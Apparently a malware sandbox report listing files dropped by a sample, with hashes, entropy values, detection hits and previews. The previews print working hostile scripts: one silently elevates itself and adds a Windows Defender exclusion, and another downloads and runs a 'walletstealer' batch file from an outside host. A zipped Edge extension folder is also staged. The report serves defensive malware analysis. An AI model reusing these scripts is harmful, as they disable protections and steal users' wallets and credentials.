                                                              Preview:.....39...eV\..D...W.....b..N-H....%.D..3*<'"..8......u....B/Pu..'....aRv.vy.....s.`..Q.pm+.'7.....o......k...(..<...1.....Fv.."...v$..h.....E..v=v.A..bK7=.....$.Q..5...A...._.$Ie7d../..|..Sk..j.C..0Y..Fzu.5.....{u.....0q.g..-.x.....Q....k....+.y.:HH.x.....H......A..\..K.".6.l;...].5......4....:....}...8jK#iX.......s...9...Ck...'..P.6..9...b.m.vVZ[dSmV..*b..!.\:...[+.w...p.e..w.....a.q.......I.E...:.},r...L..6.........n..8...v?...5@.j..~....s.F+....P .T.....=8.......L.r5.........bFJ....H..]....C.....BY..S.?W..'..)..m.. ,........k......d..Or....2.K.-.p.j..h.R..?y.../.v.t...K.....J.l.Id.q|...$&_8.7i....F.".Zg...3....@y..X....m..[Y..4..6.;t.../.N........F.g.AT.J.c4'.......g....:A._0.}.b.......Sy..nU.......Lp.dG.9....5.?.h..].W...o...F."...X.?..=.kk2.....W...B...o2..'.......b.oeR...U.....`...Z......c._......`R].9..{.`,1..{...>[.....p.#....W.<....1..s(...U-:i9...F;.KR......Q.A.?.Aq...KaI.....,..O....:..r.h...Z..........B..W........a[G

                                                              C:\Users\user\AppData\Local\Temp\Justice

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:PGP Secret Sub-key -
                                                              Category:modified
                                                              Size (bytes):868352
                                                              Entropy (8bit):7.999826895647566
                                                              Encrypted:true
                                                              SSDEEP:24576:f68TS0M+n1WeB4MhCL3bhz0IGmcv21Z/B3U54K:f/TZMa1WCq3bBTceXBEX
                                                              MD5:774DF02C553D130DDE3AA7496B64EBED
                                                              SHA1:E2A4AAB8C3B654BD022662045FA70413A80E55F9
                                                              SHA-256:AE9283C1A14B751639A75592295D85105954B761737AB77FC1E667A1498F2E9E
                                                              SHA-512:C132CDF383E4FA32362D50768898ED9C6CD1E306056D066168A8AC1EE3EA7953424FF3B241FF1E0376B99B91F566B698BFEF07DA9BC45471097A6637DC154D11
                                                              Malicious:false
                                                              Preview:.4.`.../v..] ....i.t%....f,)..K....y.K.c]..$.%..YK..2I.]E.bv..r.Ke.d.....U...,.........q.1@...p.n=..j.%....3..x..y...TW...*C.i..^j..J........`...K}k]..|..'>...c../.\j@...g'....B..|..2r.F>~./+..{.x.A.a.......U.|....W.4...B`5...EX-3@.d..W-.... ..)e5..%......7`.m.t.l.L.M......;F.]..}..g.NR...\.....~+!n.d.*............v.}...H.....'.D..I.9.R^.|.X^..0@...."+.]...)j........MBi.Y.m_t....H..|$<.....v...p.}.......R8l.5M....'..W..D..xaNC......l).R..'o7.ue.x..".Ni..po..M.0..N.W..=......k.=3'J..@>..\.P..K.W Z..1M..zU..}...........8.M.D..G..?..E/k.QK.e..D..R..T|v.dQ0.L..}..........aJiJ..0......^m.Z.<..f..........g..$yC..~..~...+._}............z.'.....R.6}..HfG..mU..9;2..9...Vn).Q..h5a.:..x$=...+._.|x.ye.m .0.....[...v..TN.?.v,~F....8?.I"^...q!:.^.B..M..dY...!..Y...FH..g5.. .b...............i.T.U'j..P.....t.r.D.NR..1V.[C..:...N..../.QJ.fRg&.S|..q...5.!1..@....7...ONI2...w<+Q.@4..$..^O.1...}.On.....C.K.{.<.......O.........7kJ.(...{..*Eb........n..5.......

                                                              C:\Users\user\AppData\Local\Temp\N_user_8.46.123.228.zip

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                              Category:dropped
                                                              Size (bytes):1111
                                                              Entropy (8bit):5.770240188684747
                                                              Encrypted:false
                                                              SSDEEP:24:9W84ZrEGZrEqVVWBZrEgg7ZrE3v4gp48FZrEWJqMok4ZrEncZrEqJBZrEIgzZrEd:9WzyGyGWBygg7ywglFyWQBbycyiByIga
                                                              MD5:53F797AB2952AA29008870BE7BEAE777
                                                              SHA1:B7B9EE136D9A6A871FBE2E59E5AFBEB25E4DCF2F
                                                              SHA-256:6A458423A67002A0AF7892A6B6935911265AC774EB450E16DA3373361FB8FBA7
                                                              SHA-512:FE4B7F9CF869797AB35F8B42C5DF98D741B8C66B6E7F3C0EA80C4B9DCE53ED94BE8764D2989CAFA601F7596EFCE3FAF4AE740B4189AEABF16624419621A2FDD6
                                                              Malicious:false
                                                              Preview:PK..........EW............0...Edge\jdiccldimpdaibmpdkjnbmckianbfold\000003.logPK..........EW.r.........-...Edge\jdiccldimpdaibmpdkjnbmckianbfold\CURRENT.u..ts...5..C..PK..........EW............*...Edge\jdiccldimpdaibmpdkjnbmckianbfold\LOCKPK..........EW........s...)...Edge\jdiccldimpdaibmpdkjnbmckianbfold\LOG..n.0.E.|............tQ.....GC.;..../I.}gq..=.:.H.Q,"...4[.,.Xl..V6...*.....>.W........y..*(y.Z..Lz..m...q.a.....?.....;.`..Y..i...z..zfssU..R...5..4..x(.....Y..|....>Bp.?........Kb..g.PK..........EW..P{+...)...5...Edge\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001.Z....#.TNjYjNJ..SeIjyfq.s~nAbQbI~...3....PK............EW............0.................Edge\jdiccldimpdaibmpdkjnbmckianbfold\000003.logPK............EW.r.........-.............N...Edge\jdiccldimpdaibmpdkjnbmckianbfold\CURRENTPK............EW............*.................Edge\jdiccldimpdaibmpdkjnbmckianbfold\LOCKPK............EW........s...).................Edge\jdiccldimpdaibmpdkjnbmckianbfold\LOGPK........

                                                              C:\Users\user\AppData\Local\Temp\Proceeds

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):873472
                                                              Entropy (8bit):7.999771421012599
                                                              Encrypted:true
                                                              SSDEEP:24576:pVSjpPwfTXXzpNAlKtl5D0M4ha4cSaeeK+1J4SZ+dC+ae:pVSjp0zpNQKtEVySaK05Z0ae
                                                              MD5:DE061B898E12D89C92409F220918347F
                                                              SHA1:6B571EDAB30DCC4D5518E5BEBB296D1F7BF5414C
                                                              SHA-256:70FDA66F3EA2607D6CFF63D0A6A7258577690D2A9BC5105BB529889CE025D1C2
                                                              SHA-512:61D94F04572643DC4274AEDDA51E7CB6BCCCEFCFA4556E6D87F94195DDF90FFBEB65909688C7BC3407F244021CC6DFF0C8692FD7835EE61E6A43A0394A693A2B
                                                              Malicious:false
                                                              Preview:.d.M.l..!..&>....j!.}.........V...K..F.c%WOX..sH.A%[6. .`.2Q.'..J....M.A......8;....m...J.m......0.N.}...DoE.^......m....a..H.1,.h.....b%l..@\.mhrf.5..FS...[l;.~S...B.J...0..a...k+.;...YH.....[...Rw.n..........L...<..SA.'...v...H^9....0.O..cq*...f7.J....?...a..b[..A7c a..p..L".......o-z.....H.K..<q..JO..G.2........F OX.%S..^.qF6.$.nTU.B..+=.?U... K.S..[....\.}..U+.......s....u......T..VC.d...s..3]..U}8..u..........sG|..9.37.#..}...[.-....a..U6....F.v.m.Y#...C4=Oo..a...-.0.\;.`....../.s%.$...Y.ev.y....T........klrD......r.#JO9c>..H....ub.W..W...X.}g...(..u..Y..}.....C..D.K.....WC..[$...Mr.......jP\K....(>.b.G.?cQ`x.(..4`....<..._.(j.I.|.t.ax.>.Z..Sw4..W.!t. ..?A.........U.Q..C.)p...3..lz.~..uJac.[.(......%....lI...y....H...,..... LJ.....s....Y._....+1......<7..Z(.,.%.e0.....L. `</.....>.q.Z"..OpIYqG.....i}..J...^.&O0.Q..t.t.#.....5.c......n$.7..$...x..3..p$.6..@..}%.Z8.M...^...q..r.8}.r.'.s`9.K.F.,Y.@..!.#zo*Xm...1.`.0.......{.C...

                                                              C:\Users\user\AppData\Local\Temp\Revenue

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:MPEG-4 LOAS
                                                              Category:dropped
                                                              Size (bytes):406505
                                                              Entropy (8bit):7.9995378716562975
                                                              Encrypted:true
                                                              SSDEEP:12288:V3Jv3CNTu77LbJT98bIqqn6mw7TzoxsGFVdiJDQLCsK:V3kNTu77xqIlgztgMMCB
                                                              MD5:AABC90B85B9C3B51543DE0339D29778E
                                                              SHA1:299F5E2CA9326E0A5FEEFB4FC7B05DA93CFD11A1
                                                              SHA-256:9A0A3567F4C9B9CA46FBF41D65CDD5CE464B0EFE42D6AAF7CFF840ADDBE05D60
                                                              SHA-512:3D951489D7D46874909BFD82E9CAC346BDD15BBB485FC76E1ED7D6FE7BB51A7649D1F649B75BB6F6F1B6F10EA16113CD01C20AA7EA85D038FCB7FE317082EDF3
                                                              Malicious:false
                                                              Preview:V.{rSYVs<6.4.../....b......Q..-.{....Xs}#..;...k.TF.Nx.?rqa~].o...P...r...t..1..7..~.s......."....r....V..:qq....Y.U:.....`9.%..(.....Zb.^.f%-..........lp?..6.@.....e'.X...U.P[..]..|.n...d&....9)...L..D.^.$Jw......+.+.....=<.jU......q..I./....G3...>23..........:..J.2..d..*V..Y..2.;..iqZ..$.h.9.....{....U!..'[`A".b..(.>FT7.M....Z.Y...u.....].8...X.<..{......w.o'.......s_.....`.!..)#./..a.icz1..u...]a.`S.H.p..R./`.b.q4 ......g]M.^..].......f.Z.n...YO7c..l........7!...r..k)P{.Sgw.>..gg...39.V...b.9...q.S..pC....a....|....j..2....aq-?14|..X!d.G..s3..<]*;v...L8.vGK....=..%cy.X.E..:@.,....q.z..~.c3...h6.......mQ...r.".(...o#.J.~..."$V...5A.cO.7W:...j.U....r . +r.1J..$(".*.DvYUDf;%C+...I.WQ`.d....|....>.E_.{......-.......1..?..+[..f...9.........."3....y%...s.....}[......mzo.&.W...?... ..:..x.gby....G....)........e.`..x....~....>^z.94..i.V.^.5..N.vs#...qI.~../.`m.l\_..ae*.V~"......fZ.ul{..9B..f...CP.\...cm..;.8y..N.$.h..i....4c;5j.>=....sc..'.D...|...

                                                              C:\Users\user\AppData\Local\Temp\Soundtrack

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):595968
                                                              Entropy (8bit):7.999664585177167
                                                              Encrypted:true
                                                              SSDEEP:12288:znvWu2yGE57zChjCiNP2kaw7L2CO43zeULJgSegv+3:zvWuWEYJCiNRaMLjOg5hk
                                                              MD5:B75737C804CA9949CC63BD42C945A5E6
                                                              SHA1:75C0490174ADC40D1824B1024021B82DD5C762B7
                                                              SHA-256:628068EE856D68776D6E9B755CD42D7A5A46AF1A2A6A2C22E65DB95B5D2D8F2C
                                                              SHA-512:58FEDD2BD6318D4B93DE429D184701E059321C16872CAFC978837C29985404BF432E4A2701894F7F67045F9684DA40C8E14F9F557DA3398C5D6EECA2E18FACA7
                                                              Malicious:false
                                                              Preview:.i.....@xl..o9.j.o](.....C<bu^...z..n|.,p..tA..3...<".T.Yy".....T._..-R...m.-T..=@..([y...U{W._...^U.Z.-.W.V.fBf.u&..Xg.{.J.......'T..M^....c..<..s.%&]..#..$e....m.(....7...U..Y8.Va.....&. .Q..._....+..r.....C%....;...0..t..`0..V..|...|i...xa9t..PM..Zi8.#q.5....}z.[...D,.^+|.....KA..P..e})$x.y...$q...i...-..-Gs.d.M.n....WJ..?..n.c....YE.6E..dHj..B.G-.4.=RB..0......1..j..s5A,&.[.#}...k...........J...X..O]<.8.~-.~...!.>V..[..*.X..G]...>...@..@.n.....?..R..,.^z......v8.Mj..rz...M-.!.#,.<.M.....H..}T.e=M).!z.\s...5........Xg..iE....".x..RNHQ....;..*...H.d+....&....C..0m`...v...G.Y.....|.N....K.^~......l.9I<..D....x.i..;%Y.k....Q?E.<P.||.\.o.t.......~.T..$\.....3.^(..'...~..!?+X..+A`$............4$.6l"<..;..C&.....^v..q.....%>v..%.&>.:;.....$N.GUY:dp.....G..........O.....Y,..u.-rJ[...w, I..:"..\x.U.V....G.k3....YvIS....|W..Cq.....i2..~Z......K..i.h..\..v..>:.o....?v...P..f.FBU.._...L..k#....7..tY......n....cj9.i..>\...W<.'<G.w'-o..'.......w5].....C.0C?

                                                              C:\Users\user\AppData\Local\Temp\Zip

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):636928
                                                              Entropy (8bit):7.9997148905138085
                                                              Encrypted:true
                                                              SSDEEP:12288:fytPG4+i8Y7x5DchRadzDV1Xp1vzXB8zQAOna+8:fa3T8YH4Rk1/iQAOS
                                                              MD5:84F05DDDEFB1C72567827BE553FE67FE
                                                              SHA1:C2EBCC4DE3439A8206AA8FAAC90312BFB207CE4F
                                                              SHA-256:B7DE8D92196F323EB9A6237B9E902461569FD093B36E1988DEE9DE2AB157BB12
                                                              SHA-512:99954FA07FE7CC0E54DBD0AF09B32507CD998C8B44CB63F1FFE8E30667B6D1BB0949A6C95B60E40E73F0B0BB3F11E79F8FA23F696032118210CD10F03EEC2904
                                                              Malicious:false
                                                              Preview:t/4.c.F..U$`3...9Q*w...<..g.{..&...*..r:..V.o....n$..GT...#.[u.$@..j.....2p|.R...U...YPB.|.._.M.^o.3..9...J...J<.a.....U......t...;O...n8;.j..2...I.......^....=)....\.~..0nQ...0NM.s.[....j..........P.Q..G.m.j3[..b5i...O"....E..W..>.:O....F. .eO@...:E.m.........h#_..P...y.a._..w..8.~0-..XZ}...-.{4T.`F.y}9.....G...{..;.K.zX.{F.....`.O...&g........o4...D.].Xz.......\.;_....D..4...'._...B..".r{.m...^..l.h....^..b...T.L%+..3...e!.~....T..z.K`R..S...E.5,I.......*.9,..._..@.7...u..pY6.+G.P9.=..!...2.).5..?..T...)Y..\...z.s4-7.S.r9.(...0...>....m3.+.qP)RuI....E.{.i.....B...@....@...P.....p.[.:f.K:.t..Ko/....~.p...#!....Y.n..A.k..C.s .l.eR_:#...JW.Q..4...8.=..:..q..E..2.]......?..'V%...\...;M..w...6ID7.z.HN.6.B.#.Z..O..+.<q}.Kli.9.yXC.?..TB..;2..P.\....E.\i.._Q.t'.q.h2..U..aDl...O{Mp-N.7.{.9D.ze..ZH^F9I:..B..E......>..`...#vC:0.. v.p..,...z......[....Dm..;e)KH1=.;...V.].=...!..(S.............FiC....Y.}-q1.(...Z.(.m,...3..)1...

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5vx3artn.vrw.ps1

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fidxt5ce.umj.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g11fmxva.zwx.ps1

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g24pzozy.rnr.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hz1ejfdg.0vb.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ijy3poxh.cut.psm1

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_olqjf4eo.bqu.psm1

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p5jqer45.4ai.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rilekgsh.rfw.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uvyd0p4b.mp0.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\ex.bat

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):401
                                                              Entropy (8bit):5.001730124269154
                                                              Encrypted:false
                                                              SSDEEP:12:q925lda981kUMn53FSR2Y/mFZM081k5uPda:qAldUD4P/QSs5uY
                                                              MD5:CE54310624724DC31EA4171ED501C1FA
                                                              SHA1:3C5B5C6D21EADA75357A24699BA37703E6B2A3D0
                                                              SHA-256:B955965B61FBEC8F75499803F31DDCE3228312DF236D5E18C9B1B322DFC89F2E
                                                              SHA-512:907DDF95E241DA4104AB0E7535C74083F026B765D2E5717F817296828D652F2690215073B69552704B5EF6A075154B8F7F95384B8C3A79535B5109BDB3E2CF1C
                                                              Malicious:true
                                                              Preview:@echo off....:: Check if running as administrator..net session >nul 2>&1..if %errorlevel% neq 0 (.. powershell -WindowStyle Hidden -Command "Start-Process -FilePath '%~f0' -Verb runAs -WindowStyle Hidden".. exit /b..)....setlocal..set asmPath=%LocalAppData%\asm....:: Add exclusion path silently..powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%asmPath%'"....exit /b..

                                                              C:\Users\user\AppData\Local\Temp\runsteal.bat

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):639
                                                              Entropy (8bit):5.17038375204283
                                                              Encrypted:false
                                                              SSDEEP:12:A6oiLklkELktkXxELk3JsXSY8d1Mn8nzTFg2R5FU6dgj+UOJhkdvhjXGADcViEzM:1oiLm7LR6LOkS6yzTu2C6dVjW5hKykiJ
                                                              MD5:9DCE26B1F9030F3A4DC2A965CC643118
                                                              SHA1:A67AD5C664DAB5313367FDC835D82ECA201B2663
                                                              SHA-256:15C04348CE7CF03FB42BB3264B37AF4118D85B39085CCE7A7C954E90772B40B4
                                                              SHA-512:051B79E1E20A6686AECD3FE447E2BB15ECFCCAF08EC01D2BAEB8C59CD405BD337FD6A514675184C289E43EF0D993D925347E24AEBA1459D625A6B1072E889D16
                                                              Malicious:false
                                                              Preview:# Check if the script is running as admin..If (-Not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {.. # Relaunch with admin privileges.. Start-Process -FilePath "powershell.exe" -ArgumentList "-File `"$PSCommandPath`"" -Verb RunAs.. Exit..}....# Download and execute the batch file..$batUrl = "https://cdn-downloads-now.xyz/walletstealer.bat"..$tempBat = "$env:TEMP\tempp.bat"....Invoke-WebRequest -Uri $batUrl -OutFile $tempBat -UseBasicParsing..Start-Process "cmd.exe" -ArgumentList "/c $tempBat" -WindowStyle Hidden

                                                              C:\Users\user\AppData\Local\Temp\smartscreen.exe

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):167936
                                                              Entropy (8bit):7.923035615805109
                                                              Encrypted:false
                                                              SSDEEP:3072:Ip7CBad9I6xjOCto1mb719Iz9cIp23YWMBjk3RzYISn7ApmHVlc+:Ip7CBad9I6xjD+sF9IKIgnwkRUbAI1l
                                                              MD5:1FED66D1F6B85BDA20FE0403CA01C9BD
                                                              SHA1:6A3056191A7D8DA167285B2BF5F9FA671022C8C1
                                                              SHA-256:924EE12F6A98AEEB1C7836EC8984F0F93216BFFF0433BCD4EE643D33D96DB74A
                                                              SHA-512:0FB1397078689A52D1C77CC239B1E42AFA5FF87A3F5B4F825705E9BDA1BD2C58BFB50A6067EA0A202FA7EDB0A890CBAC9314413FC8757C8B75A43FA0B12EF613
                                                              Malicious:true
                                                              Yara Hits:
                                                              • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe, Author: Joe Security
                                                              Antivirus:
                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....|..........."...0.................. ....@...... ....................................`...@......@............... ..............................................................<...T............................................................ ..P............text........ ...................... ..`.rsrc...............................@..@........................................H........~..l$...........)...U....................................................(....*.(...........s....s....%.o....%.o....o.... ....(....+....0..E........(....,,(......(.......(....,..(....r...p.(....(......&.. ....(....+............56.......0..H.......r...p.(....o.....~....r3..p.o......,....o.......r...p.o....(....(......*........//.......0..........~.....o....,.~....*~.....o....,.~....*~.....o....,.~....*~.....o....,.~....*~.....o....,.~....*~.....o....,.~....*~.....o....,.~....

                                                              C:\Users\user\AppData\Local\Temp\walletstealer.bat

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:DOS batch file, ASCII text, with very long lines (330), with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):6503
                                                              Entropy (8bit):5.1529619577412005
                                                              Encrypted:false
                                                              SSDEEP:96:HjpkWFbS5g97ANfa5dJsw8oTaex8Z8zai8NI9qeaW:Hjm4SmWYCQ8Z8zLJcPW
                                                              MD5:A64AC8795881400C263138D7F3F86A3D
                                                              SHA1:C7DA3550C90CF4DAB6D4D60A60538BCD9BEF98AD
                                                              SHA-256:5A81A0A1723160CD6A853DD323163D9D519003735BC7C55650D632CE65A7BACC
                                                              SHA-512:A879636CA716937CBC43E705C93F33021C55FD79B887128C7002DD31A1C48B88A5329FDC399E61128AC751E5ACA8FB0B6757ED75F388A2FB654C02D30D66826B
                                                              Malicious:true
                                                              Yara Hits:
                                                              • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\walletstealer.bat, Author: Joe Security
